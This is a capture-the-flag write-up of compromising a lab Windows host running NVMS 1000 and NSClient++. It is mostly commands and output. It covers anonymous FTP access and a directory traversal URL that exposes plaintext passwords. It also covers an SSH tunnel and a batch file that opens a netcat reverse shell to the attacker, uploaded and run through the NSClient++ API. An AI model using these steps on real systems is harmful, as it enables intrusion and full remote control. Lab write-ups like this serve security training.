Information Gathering
Port and service enumeration using nmap
nmap -F -T 5 10.10.10.184 -Pn
Nmap scan report for 10.10.10.184Host is up (0.19s latency).Not shown: 92 closed portsPORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds5666/tcp open nrpe8443/tcp open https-al
Enumeration
FTP port is open so lets try anonymous login here...
username : anonymouspassword : anonymous
$ ftp 10.10.10.184
Connected to 10.10.10.184.220 Microsoft FTP ServiceName (10.10.10.184:unknown): anonymous331 Anonymous access allowed, send identity (e-mail name) as password.Password:230 User logged in.Remote system type is Windows_NT
Anonymous Login was successful, after some enumeration I found some interesting files and two usernames, downloaded using get command in ftp shell...
get Users/Nadine/Confidential.txtget Users/Nathan/Notes to do.txt---$ cat Confidential.txtNathan,
I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine
$ cat 'Notes to do.txt'1) Change the password for NVMS - Complete2) Lock down the NSClient Access - Complete3) Upload the passwords4) Remove public access to NVMS5) Place the secret files in SharePoint
On port 80 NVMS 1000 web application was running, a quick google search led to a directory traversal vulnerability so I tried to get this Passwords.txt file...
http://10.10.10.184/../../../Users/Nathan/Desktop/Passwords.txt
--------------------------------| Username : Nadine || Password : L1k3B1gBut7s@W0rk |--------------------------------
SSH service was also active as we can see in the nmap scan so next step was to login using these credentials...
$ scp Nadine@10.10.10.184:Desktop/user.txt user.txt
# Got User!
Privilege Escalation
In Confidential.txt NSClient is mentioned so it was time for some more digging...
> dir /s *nsclient*
Directory of C:\Program Files\NSClient++
10/04/2020 19:32 2,683 nsclient.ini21/04/2020 08:27 29,651 nsclient.log 2 File(s) 32,334 bytes
For reading files there were two easy ways here...
type nsclient.ini
# OR
nscp web -- password --display
---------------------------; Undocumented keypassword = ew2x6SsGTxjRwXOT
; Undocumented keyallowed hosts = 127.0.0.1----------------------------
Only localhost is allowed...solution is to use an SSH tunnel and then we can visit the webpage
ssh -L 8443:127.0.0.1:8443 Nadine@10.10.10.184
After some poking around in the web page and some NSClient++ manual reading the best way to exploit this was to use the API, first I created a small .bat file and uploaded it to temp directory, after that privesc needs just two commands...
$ cat twh.bat@echo offc:\temp\nc.exe 10.10.14.54 443 -e cmd.exe
$ scp twh.bat Nadine@10.10.10.184:c:/temp/twh.bat$ scp nc.exe Nadine@10.10.10.184:c:/temp/nc.exe
and now finally...
$ curl -s -k -u admin -X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/twh.bat --data-binary @twh.bat
> C:\Program Files\NSClient++>check_nrpe.exe -c twh
# Got Root!